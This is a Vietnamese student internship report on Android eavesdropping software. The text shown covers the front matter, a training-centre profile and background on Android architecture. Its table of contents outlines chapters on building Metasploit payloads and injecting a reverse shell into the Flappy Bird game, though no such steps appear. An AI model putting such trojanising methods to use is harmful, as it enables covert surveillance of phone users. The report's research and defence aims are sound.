Top Banner
BÁO CÁO THỰC TẬP CÔNG NGHIỆP 2 ĐỀ TÀI: NGHIÊN CỨU CÁC PHẦN MM CHO PHÉP NGHE LÉN TRÊN ĐIỆN THOI SDNG ANDROID ĐẠI HC QUỐC GIA THÀNH PHỐ HCHÍ MINH TRƯỜNG ĐẠI HỌC BÁCH KHOA KHOA KHOA HỌC & KĨ THUẬT MÁY TÍNH TRUNG TÂM ĐÀO TẠO QUN TRMNG VÀ AN NINH MẠNG QUC TATHENA GVHD: Thầy Võ Đỗ Thng Sinh viên thực hin: Ngô Hoàng Phương – 51104460 Võ Thành Đạt - 5110769
87

Bao cao thuc tap

Jun 13, 2015

Download

Education

Phuong Ngo

Nghiên cứu nghe lén trên Android - Athena
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Bao cao thuc tap

BÁO CÁO THỰC TẬP CÔNG NGHIỆP 2

ĐỀ TÀI: NGHIÊN CỨU CÁC PHẦN MỀM CHO

PHÉP NGHE LÉN TRÊN ĐIỆN THOẠI SỬ DỤNG

ANDROID

ĐẠI HỌC QUỐC GIA THÀNH PHỐ HỒ CHÍ MINH

TRƯỜNG ĐẠI HỌC BÁCH KHOA

KHOA KHOA HỌC & KĨ THUẬT MÁY TÍNH

TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG

VÀ AN NINH MẠNG QUỐC TẾ

ATHENA

GVHD: Thầy Võ Đỗ Thắng

Sinh viên thực hiện:

Ngô Hoàng Phương – 51104460

Võ Thành Đạt - 5110769

Page 2: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

3

Tôi và bạn, hầu như mỗi người đều có một chiếc điện thoại. Bạn xài điện thoại

gì? Đập đá, windows Phones, IOS hay Android..v.v..? Tôi xài Android, hệ điều hành

phổ biến nhất trên thế giới. Nó rất thú vị: nhiều tiện ích, kho giải trí khổng lồ, giao

diện tùy biến linh hoạt ..v..v.. Vậy bạn có biết ngoài những tiện ích thì khi sử dụng

một chiếc điện thoại ta còn phải đối mặt với những mối nguy nào không?

Một ngày nào đó các cuộc gọi, tin nhắn, danh bạ, hình ảnh, tài khoản…v…v của

bạn bị đánh cấp mà không biết lí do thì đúng là thảm họa. Và đó là mối nguy mà tôi

muốn nói đến (tôi gọi nó là nghe lén). Giờ bạn đã bắt đầu “xoắn” chưa? Hãy tự hỏi

mình đã biết được gì về nghe lén và cách phát hiện nó.! Nếu như bạn còn mơ hồ thì

hãy đọc tài liệu “nghiên cứu nghe lén trên android” để trang bị thêm cho mình kiến

thức bạn nhé.!

TPHCM Ngày 9 tháng 8 năm 2014

Nhóm sinh viên thực hiên

Võ Thành Đạt

Ngô Hoàng Phương

Lời mở đầu

Page 3: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

4

Suốt gần 2 tháàng gắn bó làm việc cùng trung tâm Athena. Được trung tâm nhận

thực tập và chỉ dẫn em có được cơ hội học thêm nhiều kiến thức bổ ích. Em xin gửi

lời cảm ơn đốc Công Ty Quản Trị và An Ninh Mạng Quốc Tế Athena, cùng các anh

chị trong công ty. Đặc biệt, em xin chân thành cảm ơn thầy Đỗ Võ Thắng đã nhiệt

tình giúp đỡ và hướng dẫn em trong suốt thời gian TTCN2. Cảm ơn Trung tâm đã tạo

điều kiện cũng như cung cấp kiến thức trong suốt thời thời gian thực tập, đóng góp

những ý kiến để em hoàn thành tốt bài báo cáo.

Mặc dù tôi nhóm đã cố gắng hoàn thành báo cáo thực tập tốt nghiệp với tất cả nỗ

lực của bản thân, nhưng do trình độ hiểu biết và kinh nghiệm thực tế chắc chắn không

thể tránh khỏi những thiếu sót nhất định, rất mong nhận được sự thông cảm, chia sẻ

và tận tình để nhóm tôi hoàn thành bản báo cáo thực tập TTCN2 tốt hơn.

Lời cảm ơn

Page 4: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

5

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

..........................................................................................................................................

TPHCM, ngày ... tháng ... năm 2014

Giám đốc

Nhận xét của đơn vị thực tập

Page 5: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

6

...........

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

........................................................................................................................................

Nhận xét của Khoa KH Và KT Máy Tính

Page 6: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

7

Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc Tế ATHENA được

thành lập từ năm 2004, là một tổ chức qui tụ nhiều trí thức trẻ Việt Nam đầy năng

động, nhiệt huyết và kinh nghiệm trong lãnh vực CNTT, với tâm huyết góp phần vào

công cuộc thúc đẩy tiến trình đưa công nghệ thông tin là ngành kinh tế mũi nhọn, góp

phần phát triển nước nhà .

Cơ sở 1_Tại TP Hồ Chí Minh:

Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. Số 2 Bis

Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh, Việt Nam.

Điện thoại: ( 84-8 ) 3824 4041

Hotline: 0943 23 00 99

Cơ sở 2_Tại TP Hồ Chí Minh:

Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA 92

Nguyễn Đình Chiểu ,Phường Đa Kao,Quận 1, Tp Hồ Chí Minh, Việt Nam.

Website : www.athena.edu.vn or http://www.athena.com.vn

Điện thoại: ( 84-8 ) 2210 3801

Hotline: 0943 20 00 88

Lĩnh vực hoạt động chính:

Giới thiệu về đơn vị thực tập

Page 7: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

8

+ Trung tâm ATHENA đã và đang tập trung chủ yếu vào đào tạo chuyên

sâu quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế của

các hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI , CEH,... Song song đó,

trung tâm ATHENA còn có những chương trình đào tạo cao cấp dành riêng theo đơn

đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An , ngân hàng, doanh nghiệp,

các cơ quan chính phủ, tổ chức tài chính..

+ Sau gần 10 năm hoạt động,nhiều học viên tốt nghiệp trung tâm ATHENA đã là

chuyên gia đảm nhận công tác quản lý hệ thống mạng, an ninh mạng cho nhiều bộ

ngành như Cục Công Nghệ Thông Tin - Bộ Quốc Phòng , Bộ Công An, Sở Thông Tin

Truyền Thông các tỉnh, bưu điện các tỉnh,.,....

+ Ngoài chương trình đào tạo, Trung tâm ATHENA còn có nhiều chương trình

hợp tác và trao đổi công nghệ với nhiều đại học lớn như đại học Bách Khoa Thành

Phố Hồ CHính Minh, Học Viện An Ninh Nhân Dân( Thủ Đức), Học Viện Bưu Chính

Viễn Thông, Hiệp hội an toàn thông tin (VNISA), Viện Kỹ Thuật Quân Sự ,.....

Đội ngũ giảng viên :

+ Tất cả các giảng viên trung tâm ATHENA có đều tốt nghiệp từ các trường đại

học hàng đầu trong nước .... Tất cả giảng viên ATHENA đều phải có các chứng chỉ

quốc tế như MCSA, MCSE, CCNA, CCNP, Security+, CEH,có bằng sư phạm Quốc

tế (Microsoft Certified Trainer).Đây là các chứng chỉ chuyên môn bắt buộc để đủ điều

kiện tham gia giảng dạy tại trung tâm ATHENA

+ Bên cạnh đó,Các giảng viên ATHENA thường đi tu nghiệp và cập nhật kiến

thức công nghệ mới từ các nước tiên tiến như Mỹ , Pháp, Hà Lan, Singapore,... và

truyền đạt các công nghệ mới này trong các chương trình đào tạo tại trung tâm

ATHENA

Cơ sở vật chất:

+ Thiết bị đầy đủ và hiện đại

+ Chương trình cập nhật liên tục, bảo đảm học viên luôn tiếp cận với những công

nghệ mới nhất.

+ Phòng máy rộng rãi, thoáng mát

Dịch vụ hỗ trợ:

+ Đảm bảo việc làm cho học viên tốt nghiệp khoá dài hạn

+ Giới thiệu việc làm cho mọi học viên

+ Thực tập có lương cho học viên khá giỏi

+ Ngoài giờ học chính thức, học viên được thực hành thêm miễn phí, không giới

hạn thời gian.

+ Hỗ trợ kỹ thuật không thời hạn trong tất cả các lĩnh vực liên quan đến máy tính,

mạng máy tính, bảo mật mạng

+ Hỗ trợ thi Chứng chỉ Quốc tế.

Page 8: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

9

Mục lục

1. Tổng quan về Android ............................................................................................... 11

1.1 Khái niệm về Android .............................................................................................. 11

1.2 Đặc điểm hệ điều hành android .............................................................................. 11

1.3 Kiến trúc hệ điều hành Android.............................................................................. 13

1.3.1 Tầng hạt nhân Linux ........................................................................................... 13

1.3.2 Tầng Library ........................................................................................................ 14

1.3.3 Phần Android runtime ......................................................................................... 14

1.3.4 Tầng Application Framework ............................................................................... 14

1.3.5 Tầng Application ................................................................................................. 15

1.4 Tổ chức quyền sở hữu và quyền hạn trên file ...................................................... 16

1.5 Cây thư mục trên hệ điều hành Android ................................................................ 16

1.6 Các thành phần của một ứng dụng trên Android.................................................. 17

1.7 Lịch sử phát triển .................................................................................................... 19

1.8 Sự ra mắt của các phiên bản Android.................................................................... 22

2. Nghe lén trên Android ............................................................................................... 24

2.1 Định nghĩa ................................................................................................................ 24

2.2 Mã độc trong môi trường Android: ........................................................................ 24

2.2.1 Android là một môi trường lý tưởng cho mã độc phát triển.................................. 24

2.2.2 Phân loại mã độc Android. .................................................................................. 24

2.3 Thực trạng ............................................................................................................... 25

2.4 Malware – tiêu biểu của trên Android..................................................................... 26

2.4.1 Cơ chế hoạt động của Malware. ......................................................................... 26

2.5 Cơ chế bảo mật trong Android ............................................................................... 27

2.5.1 Tính bảo mật trong Android ................................................................................. 27

2.5.2 Cơ chế Permission: ............................................................................................. 27

2.5.3 Google Play: ....................................................................................................... 28

3. Cài đặt Android trên máy ảo ..................................................................................... 28

3.1 Chuẩn bị .............................................................................................................. 28

3.2 Tiến hành cài đặt................................................................................................. 28

4. Nghiên cứu Kali Linux, sử dụng metasploit tạo mã độc trên Kali Linux để xâm

nhập vào máy Android ..................................................................................................... 33

4.1 Tổng quan Kali Linux .............................................................................................. 33

4.2 Cải tiến của Kali Linux so với Backtrack. .............................................................. 33

4.3 Cài đặt Kali Linux .................................................................................................... 34

4.3.1 Chuẩn bị ............................................................................................................. 34

4.3.2 Cài đặt. ............................................................................................................... 34

4.4 Nghiên cứu về Metasploit ....................................................................................... 47

4.4.1 Giới thiệu Metasploit ........................................................................................... 47

Page 9: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

10

4.4.2 Các thành phần của Metasploit ........................................................................... 47

4.4.3 Sử dụng Metasploit framework ............................................................................ 47

4.4.4 Payload meterpreter ............................................................................................ 48

4.5 Tạo mã độc trên Kali linux ...................................................................................... 49

4.6 Sử dụng Meterpreter ............................................................................................... 54

5. Tìm hiểu VPS, cài metasploit trên VPS và tạo mã độc ............................................ 59

5.1 Máy chủ ảo VPS là gì? ............................................................................................. 59

5.2 Đặc điểm về thông số VPS ...................................................................................... 59

5.3 Cài đặt Metasploit trên VPS .................................................................................... 59

5.4 Tạo mã độc và tấn công Android trên VPS Windows Server 2003 ...................... 64

6. Nghiên cứu chèn mã độc vào phần mềm hoặc game trên Android ....................... 67

6.1 Các công cụ sử dụng .............................................................................................. 67

6.1.1 Super APK Tools ................................................................................................... 67

6.1.2 Android SDK ......................................................................................................... 68

6.2 Nghiên cứu source code Reverse_tcp ................................................................... 69

6.3 Rebuild reverse_tcp ................................................................................................ 71

6.4 Chuẩn bị cho việc chèn mã độc ............................................................................. 73

6.5 Thực hiện chèn mã độc vào game flappy bird ...................................................... 74

7. Cách phát hiện và phòng chống nghe lén ............................................................... 78

7.1 Các biểu hiện bất thường ....................................................................................... 78

7.2 Cách phát hiện phần mềm nghe lén ....................................................................... 78

7.2.1 Thủ công ............................................................................................................. 78

7.2.2 Sử dụng phần mềm ............................................................................................ 80

7.3 Cách phòng chống nghe lén ................................................................................... 82

8. Kết quả quá trình thực tập, Kinh nghiệm thu được.................................................... 87

9. Link báo cáo .................................................................................................................. 87

9.1 Ngô Hoàng Phương – 51104460 ............................................................................. 87

9.2 Võ Thành Đạt - 51100769 ........................................................................................ 88

9.3 Clip cuồi kì – Thu hoạch, thuận lợi, khó khăn. ...................................................... 88

10. Tài liệu tham khảo ....................................................................................................... 88

Page 10: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

11

1. Tổng quan về Android

1.1 Khái niệm về Android

Android là một hệ điều hành mã nguồn mở xây dựng trên nền tảng Linux,

chủ yếu sử dụng trên các thiết bị thông minh như điện thoại di động, máy tính

bảng (và hiện nay là cả các đầu phát HD, smart TV, smart Watch …). Trước đây,

Android được phát triển bởi công ty liên hợp Android sau đó được Google mua

lại vào năm 2005. Theo ComScore, đến đầu tháng 3 năm 2014, Android chiếm

51.7% thị phần hệ điều hành trên smartphone tại Mỹ (iOS chiếm 41.6%), là hệ

điều hành số một trên điện thoại thông minh.

Android ra mắt vào năm 2007 cùng với sự tuyên bố thành lập Liên minh

thiết bị cầm tay mở gồm 78 công ty phần cứng, phần mềm và viễn thông với mục

tiêu đẩy mạnh các tiêu chuẩn mở cho các thiết bị di động. Hệ điều hành Android

bao gồm 12 triệu dòng mã: 3 triệu dòng XML, 2.8 triều dòng mã C, 1.75 triệu

dòng mã C++ và 2.1 triệu dòng mã Java. Để thể hiện tính mở của Android,

Google công bố hầu hết các mã nguôn của Android theo bản cấp phép Apache.

1.2 Đặc điểm hệ điều hành android

- Tính mở: Ngay từ ban đầu, Android ra mắt là một hệ điều hành mã nguồn

mở, được xây dựng trên nhân Linux mở sử dụng một máy ảo mà đã được tối

ưu hóa bộ nhớ và phần cứng với môi trường di động; nó có thể được mở rộng

để kết hợp tự do giữa các công nghệ nổi trội. Tính mở hoàn toàn của Android

cho phép người phát triển tạo các ứng dụng hấp dẫn với đầy đủ các điểm

mạnh của các thiết bị cầm tay hiện có. Hơn nữa, một ứng dụng trong Android

có thể gọi tới bất kỳ một chức năng lõi nào như tạo cuộc gọi, gửi tinh nhắn

hay sử dụng máy ảnh… cho phép người phát triển tạo phần mềm phong phú

hơn, dễ dàng liên kết các tính năng cho người dùng. Những nền tảng ưu điểm

này sẽ tiếp tục phát triển bởi cộng đồng phát triển để tạo ra các ứng di động

hoàn hảo.

Tính ngang

bằng ứng dụng

Tính

mở

Phá vỡ rào

cảng ứng dụng

Xây dựng

ứng dụng dễ dàng và

nhanh chóng

Page 11: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

12

- Tính ngang bằng của ứng dụng: Với Android, không có sự khác nhau giữa

các ứng dụng điện thoại cơ bản với ứng dụng của bên thứ ba. Chúng được

xây dựng để truy cập như nhau tới một loạt các ứng dụng và dịch vụ của điện

thoại. Với các thiết bị được xây dựng trên nền tảng Android, người dùng có

thể đáp ứng đầy đủ các nhu cầu mà họ thích. Chúng ta có thể đổi màn hình

nền, kiểu gọi điện thoại, hay bất kể ứng dụng nào. Chúng ta thậm chí có thể

hướng dẫn điện thoại chỉ xem những ảnh mình thích.

- Phá vỡ rào cản phát triển ứng dụng: Android phá vỡ rào cản để tạo ứng

dụng mới và cải tiến. Một người phát triển có thể kết hợp thông tin từ trang

web với dữ liệu trên điện thoại cá nhân – chẳng hạn như danh bạ, lịch hay vị

trí trên bản đồ – để cung cấp chính xác hơn cho người khác. Với Android,

người phát triển có thể xây dựng một ứng dụng mà cho phép người dùng xem

vị trí của những người bạn và thông báo khi họ đang ở vị trí lân cận. Tất cả

được lập trình dễ dàng thông qua sự hỗ trợ của MapView và dịch vụ định vị

toàn cầu GPS.

- Xây dựng ứng dụng dễ dàng và nhanh chóng: Android cung cấp bộ thư

viện giao diện lập trình ứng dụng đồ sộ và các công cụ để viết các ứng dụng

phức tạp. Ví dụ, Android có thể cho phép người phát triển biết được vị trí của

thiết bị và cho phép các thiết bị giao tiếp với nhau để có thể tạo nên mạng xã

hội chia sẻ ngang hàng rộng khắp. Thêm nữa, Android còn bao gồm một bộ

công cụ đầy đủ giúp cho việc phát triển trở nên dễ dàng.

Page 12: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

13

1.3 Kiến trúc hệ điều hành Android

Hệ điều hành Android có 4 tầng từ dưới lên trên là tầng hạt nhân Linux

(phiên bản 2.6), tầng Libraries & Android runtime, tầng Application

Framework và trên cùng là tầng Application.

1.3.1 Tầng hạt nhân Linux

Hệ điều hành Android được phát triển dựa trên hạt nhân Linux, cụ thể là hạt

nhân Linux phiên bản 2.6, điều đó được thể hiện ở lớp dưới cùng này. Tất cả mọi hoạt

động của điện thoại muốn thi hành được thì đều thực hiện ở mức cấp thấp. Ở lớp này

bao gồm quản lý bộ nhớ (memory management), giao tiếp với phần cứng (driver

model), thực hiện bảo mật (security), quản lý tiến trình (process).

Tuy được phát triển dựa vào nhân Linux nhưng thực ra nhân Linux đã được nâng

cấp và chỉnh sửa rất nhiều để phù hợp với tính chất của những thiết bị cầm tay, như

hạn chế về bộ vi xử lý, dung lượng bộ nhớ, kích thước màn hình, nhu cầu kết nối

mạng không dây.

Tầng này có các thành phần chủ yếu:

- Display Driver: Điều khiển việc hiển thị lên màn hình cũng như thu nhận những

điều khiển của người dùng trên màn hình (di chuyển, cảm ứng…).

- Camera Driver: Điều khiển hoạt động của camera, nhận luồng dữ liệu từ camera

trả về.

Page 13: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

14

- Bluetooth Driver: Điều khiển thiết bị thu và phát sóng Bluetooth.

- USB driver: Quản lý hoạt động của các cổng giao tiếp USB.

- Keypad driver: Điều khiển bàn phím.

- Wifi driver: Chịu trách nhiệm về việc thu phát sóng wifi.

- Audio Driver: Điều khiển các bộ thu phát âm thanh, giải mã các tín hiệu dạng

audio thành tín hiệu số và ngược lại.

- Binder IPC Driver: Chịu trách nhiệm về việc kết nối và liên lạc với mạng vô tuyến

như CDMA, GSM, 3G, 4G, E để đảm bảo những chức năng truyền thông được thực

hiện.

- M-System Driver: Quản lý việc đọc ghi…lên các thiết bị như thẻ nhớ SD, flash

- Power Management: Giám sát việc tiêu thụ điện năng.

1.3.2 Tầng Library

Phần này có nhiều thư viện được viết bằng C/C++ để các phần mềm có thể sử

dụng, các thư viện đó được tập hợp thành một số nhóm như:

- Thư viện hệ thống (System C library): thư viện dựa trên chuẩn C, được sử dụng chỉ

bởi hệ điều hành.

- Thư viện Media (Media Libraries): Có nhiều codec để hỗ trợ việc phát và ghi các

loại định dạng âm thanh, hình ảnh, video thông dụng.

- Thư viện web (LibWebCore): đây là thành phần để xem nội dung trên web, được

sử dụng để xây dựng phần mềm duyệt web (Android Browse) cũng như để các ứng

dụng khác có thể nhúng vào. Nó cực kỳ mạnh, hỗ trợ được nhiều công nghệ mạnh mẽ

như HTML5, JavaScript, CSS, DOM, AJAX…

- Thư viện SQLite: Hệ cơ sở dữ liệu để các ứng dụng có thể sử dụng

- …

1.3.3 Phần Android runtime

Phần này chứa các thư viện mà một chương trình viết bằng ngôn ngữ Java có thể

hoạt động. Runtime có 2 bộ phận tương tự như mô hình chạy Java trên máy tính

thường. Thứ nhất là các thư viện lõi (Core Library), chứa các lớp như Java IO,

Collection, File Access. Thứ hai là một máy ảo Java (Dalvik Virtual Machine). Mặc

dù cũng được viết từ ngôn ngữ Java nhưng một ứng dụng Java của Android không

được chạy trên JRE của Sun mà là chạy bằng máy ảo Dalvik do Google phát triển.

1.3.4 Tầng Application Framework

Page 14: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

15

Tầng này xây dựng bộ công cụ – các phần tử ở mức cao để các lập trình viên có

thể nhanh chóng xây dựng ứng dụng. Nó được viết bằng Java, có khả năng sử dụng

chung để tiết kiệm tài nguyên.

Đây là một nền tảng mở, điều đó có 2 điều lợi:

- Với các hãng điện thoại: Có thể tùy biến để phù hợp với cấu hình điện thoại mà họ

sản xuất cũng như để có thể có nhiều mẫu mã, style hợp thị hiếu người dùng. Vì thế

nên tuy cùng chung nền tảng Android mà điện thoại của Google có thể khác với

Motorola, HTC, T-Mobile, Samsung…

- Với lập trình viên: Cho phép lập trình viên có thể sử dụng các API ở tầng trên mà

không cần phải hiểu rõ cấu trúc bên dưới, tạo điều kiện cho lập trình viên tự do sáng

tạo bởi vì chỉ cần quan tâm đến nội dung mà ứng dụng họ làm việc. Một tập hợp API

rất hữu ích được xây dựng sẵn như hệ thống định vị, các dịch vụ chạy nền, liên lạc

giữa các ứng dụng, các thành phần giao diện cấp cao…

1.3.5 Tầng Application

Đây là tầng ứng dụng giao tiếp với người sử dụng, bao gồm các ứng dụng như:

- Các ứng dụng cơ bản, được cài đặt đi liền với hệ điều hành: gọi điện, quản lý danh

bạ, duyệt web, nhắn tin, lịch làm việc, đọc email, bản đồ, quay phim chụp ảnh…

- Các ứng dụng được cài thêm như các phần mềm học tiếng Anh, các trò chơi, từ

điển…

Các chương trình có đặc điểm là:

- Viết bằng Java có phần mở rộng là apk.

- Khi mỗi ứng dụng được chạy, nó có một phiên bản Virtual Machine được dựng lên

để phục vụ cho nó.

- Android là hệ điều hành đa nhiệm, điều đó có nghĩa là trong cùng một thời điểm, có

thể có nhiều chương trình cùng chạy một lúc, tuy nhiên với mỗi ứng dụng thì có duy

nhất một thực thể (instance) được phép chạy mà thôi. Điều đó có tác dụng hạn chế sự

lạm dụng tài nguyên, giúp hệ thống hoạt động tốt hơn.

- Các ứng dụng được gán số ID của người sử dụng nhằm phân định quyền hạn khi sử

dụng tài nguyên, cấu hình phần cứng và hệ thống.

- Android là một hệ điều hành có tính mở, khác với nhiều hệ điều hành di động khác,

Android cho phép một ứng dụng của bên thứ 3 chạy nền. Các ứng dụng đó chỉ có một

hạn chế là không được phép sử dụng quá 5% công suất CPU. Điều đó nhằm để tránh

độc quyền trong sử dụng CPU.

- Ứng dụng không có điểm vào cố định, không có phương thức main để bắt đầu.

Page 15: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

16

1.4 Tổ chức quyền sở hữu và quyền hạn trên file

Tương tự trên Linux, với hệ điều hành Android một file có thể liên kết với một

người sử dụng và một nhóm người sử dụng. Sự liên kết đó là một tập hợp các quyền

hạn truy cập bao gồm quyền được phép đọc (read), được phép ghi (write) và được

phép thực thi (execute).

Cụ thể như sau: một file sẽ có những quyền hạn tương ứng với 9 ký tự theo mẫu sau:

Với ký tự r w xnghĩa là có quyền tương ứng với ký hiệu viết tắt đó, - nghĩa là không

có quyền hạn đó.

Bảng 1.2. Tổ chức quyền sở hữu và quyền hạn trên file

Owner Owner group Other

r/- w/- x/- r/- w/- x/- r/- w/- x/-

3 ký tự đầu tiên là quyền hạn của chủ nhân tệp tin.

3 ký tự giữa là quyền hạn của nhóm tài khoản sở hữu tệp tin.

3 ký tự cuối là quyền hạn của nhóm người không có quyền sở hữu tệp tin.

Ví dụ: Một file có dãy ký tự biểu diễn quyền hạn là rwx r-x r– thì điều đó có nghĩa:

3 ký tự đầu là rwx: chủ nhân tệp tin có quyền đọc, ghi và thực thi file.

3 ký tự tiếp theo là r-x thì nhóm tài khoản sở hữu tệp tin có quyền đọc và thực thi file

chứ không có quyền ghi file.

3 ký tự cuối là r– nghĩa là những người không sở hữu file chỉ được phép đọc mà

không được chỉnh sửa và chạy file.

1.5 Cây thư mục trên hệ điều hành Android

Thư mục (hay có thể gọi là file) root là thư mục gốc của tất cả các file cũng như

các thư mục còn lại. Dưới nó có chứa một số file hệ thống. Mỗi thư mục (trừ root) đều

có 1 thư mục cha chứa nó, bản thân nó cũng có thể có nhiều file, thư mục con. Cấu

trúc đó có thể mô tả bằng một cây thư mục có dạng như sau:

Giới thiệu một vài thư mục tiêu biểu:

- /(root): Là thư mục gốc, thư mục duy nhất không có thư mục cha.

- /mnt: thư mục chứa thiết bị lưu động (removeable).

- /system : chứa những thành phần cơ bản nhất của hệ thống.

- /ect : chứa những file cấu hình của hệ thống, nó cực kỳ quan trọng vì sự hoạt động

của hệ thống đều bị chi phối ở những file cấu hình này.

- /system/lost+found : chứa những tập tin bị mất lúc khởi động máy.

Page 16: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

17

- /system/font : chứa những font chữ hiển thị được.

- /system/lib: chứa các thư viện để các phần mềm hoạt động (các phần mềm viết

bằng ngôn ngữ java).

- /system/app : chứa các file apk của phần mềm. (Các file cài đặt ứng dụng, kiểu như

MSI trong window hay dev trong Linux).

- /system/bin : Chứa các chương trình nội trú của hệ thống.

- …

1.6 Các thành phần của một ứng dụng trên Android

Các thành phần: việc hiểu được các thành phần (component) tạo nên một ứng

dụng Android là rất cần thiết cho việc lập trình. Các thành phần này được chia làm 6

loại bao gồm:

- Activity: hiểu một cách đơn giản Activity là nền của ứng dụng. Khi khởi động một

ứng dụng Android nào đó thì bao giờ cũng có main Activity được gọi, hiển thị màn

hình của ứng dụng cho phép người dùng tương tác.

- Service: thành phần chạy ẩn trong Android. Service sử dụng để update dữ liệu, đưa

ra các cảnh báo (Notification) và không bao giờ hiển thị cho người dùng thấy.

- Content Provider: kho dữ liệu chia sẻ. Content Provider được sử dụng để quản lý và

chia sẻ dữ liệu giữa các ứng dụng.

- Intent: nền tảng để truyền tải các thông báo. Intent được sử dụng để gửi các thông

báo đi nhằm khởi tạo một Activity hay Service để thực hiện công việc bạn mong

muốn. Ví dụ: khi mở một trang web, bạn gửi đi một intent đi để tạo 1 activity mới

hiển thị trang web đó.

- Broadcast Receiver: thành phần thu nhận các Intent bên ngoài gửi tới. Ví dụ: bạn

viết một chương trình thay thế cho phần gọi điện mặc định của Android, khi đó bạn

cần 1 broadcast receiver để nhận biết các Intent là các cuộc gọi tới.

- Notification: đưa ra các cảnh báo mà không làm các Activity phải ngừng hoạt động.

Activity, Service, Broadcast Receiver và Content Provider mới là những thành phần

chính cấu thành nên ứng dụng Android và bắt buộc phải khai báo trong

AndroidManifest.

Cơ chế quản lý tiến trình: android có cơ chế quản lý các Process theo chế độ ưu tiên.

Các process có priority thấp sẽ bị Android giải phóng mà không cần cảnh báo để đảm

bảo tài nguyên.

- Foreground process: là process của ứng dụng hiện thời đang được người dùng tương

tác.

- Visible process: là process của ứng dụng mà activity đang hiển thị đối với người

dùng (onPaused() của activity được gọi).

Page 17: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

18

- Service process: là Service đang running.

- Background process: là process của ứng dụng mà các activity của nó không hiển thị

với người dùng (onStoped() của activity được gọi).

- Empty process: process không có bất cứ 1 thành phần nào activity. Theo chế độ ưu

tiên thì khi cần tài nguyên, Android sẽ tự động kill process, trước tiên là các empty

process.

Cơ chế hoạt động và các thành phần trong Android Activity: Như đã giới thiệu ở trên,

Activity là thành phần quan trọng nhất và đóng vai trò chính trong việc xây dựng ứng

dụng Android. Hệ điều hành quản lý Activity theo dạng stack: Khi một Activity mới

được khởi tạo nó sẽ được xếp lên đầu của stack và trở thành running activity, các

Activity trước đó sẽ bị tạm dừng và chỉ hoạt động trở lại khi Activity mới được giải

phóng.

Activity bao gồm 4 state:

- Active (running): Activity đang hiển thị trên màn hình (foreground).

- Paused: Activity vẫn hiển thị (visible) nhưng không thể tương tác (lost focus). Ví

dụ: một Activity mới xuất hiện, hiển thị giao diện đề lên trên Activity cũ, nhưng giao

diện này nhỏ hơn giao diện của Activity cũ, do đó ta vẫn thấy một phần giao diện của

Activity cũ nhưng lại không thể tương tác với nó.

- Stop: Activity bị thay thế hoàn toàn bởi Activity mới sẽ tiến đến trạng thái stop.

- Killed: Khi hệ thống bị thiếu bộ nhớ, nó sẽ giải phóng các tiến trình theo nguyên tắc

ưu tiên. Các Activity ở trạng thái stop hoặc paused cũng có thể bị giải phóng và khi nó

hiển thị lại thì các Activity này phải khởi động lại hoàn toàn và phục hồi lại trạng thái

trước đó.

Biểu đồ miêu tả Activity state:

Khi xây dựng Activity cho ứng dụng cần phải viết lại phương thức onCreate() để thực

hiện quá trình khởi tạo. Các phương thức khác có cần viết lại hay không tùy vào yêu

cầu lập trình.

XML trong Android: Không giống như lập trình Java thông thường, lập trình Android

ngoài các lớp được viết trong *.java còn sử dụng XML để thiết kế giao diện cho ứng

dụng. Tất nhiên bạn hoàn toàn có thể thiết kế giao diện như ý muốn mà không cần bất

kỳ một dòng XML nào. Nhưng việc sử dụng XML sẽ đơn giản hơn rất nhiều, và dễ

chỉnh sửa về sau.

